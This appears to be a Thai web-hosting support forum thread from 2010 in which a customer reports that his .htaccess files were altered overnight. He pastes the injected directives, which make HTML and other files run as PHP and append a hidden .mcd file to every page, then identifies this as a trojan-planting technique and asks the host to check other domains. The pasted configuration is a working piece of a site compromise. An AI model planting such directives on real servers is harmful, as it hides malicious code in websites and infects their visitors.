BWH - Support

สมาชิก => Host => ข้อความที่เริ่มโดย: pond79 ที่ กันยายน 16, 2010, 06:07:19 AM



หัวข้อ: ช่วยตรวจสอบด้วย
เริ่มหัวข้อโดย: pond79 ที่ กันยายน 16, 2010, 06:07:19 AM
วันนี้เวลาประมาณตี 1 อยู่ ๆ ไฟล์ .htaccess ของหลาย ๆ โฟลเดอร์ก็เป็นแบบนี้ครับ

<IfModule mod_php4.c>
AddType application/x-httpd-php .html .htm .shtml .phtml .php .asp
php_value auto_append_file .mcd
</IfModule>
<IfModule sapi_apache2.c>
AddType application/x-httpd-php .html .htm .shtml .phtml .php .asp
php_value auto_append_file .mcd
</IfModule>
<IfModule mod_php5.c>
AddType application/x-httpd-php .html .htm .shtml .phtml .php .asp
php_value auto_append_file .mcd
</IfModule>

สังเกตุบรรทัดล่างสุดที่จะให้ append file .mcd เข้ามาในไฟล์ html/php
แล้วโฟลเดอร์ไหนถ้าไม่มีไฟล์ .mcd อยู่ เวลาแสดงผล html/php ฯลฯ มันจะมี error ว่า

<b>Warning</b>:  Unknown: failed to open stream: No such file or directory in <b>Unknown</b> on line <b>0</b><br />
<br />
<b>Fatal error</b>:  Unknown: Failed opening required '.mcd' (include_path='.:/usr/local/lib/php') in <b>Unknown</b> on line <b>0</b><br />

ผมเจอบางโฟลเดอร์มี .mcd อยู่
ข้างในเป็นแบบนี้ครับ

"; exit(); } ?>

เกิดจากทาง BH มีการปรับปรุงระบบอะไรหรือเปล่าครับ


หัวข้อ: Re: ช่วยตรวจสอบด้วย
เริ่มหัวข้อโดย: pond79 ที่ กันยายน 16, 2010, 06:59:20 AM
ผมลองเช็คดูแล้ว เป็นเทคนิคการวาง trojan บนโฮสนะครับ
(http://forum.web-hack.ru/index.php?showtopic=91869&st=15)

ยังไงรบกวน admin ช่วยตรวจสอบด้วยว่า โดเมนอื่น ๆ มีปัญหาเหมือนกันไหม

ไฟล์ .htaccess จะมีการตั้งค่าให้แนบไฟล์ .mcd ตามด้านบน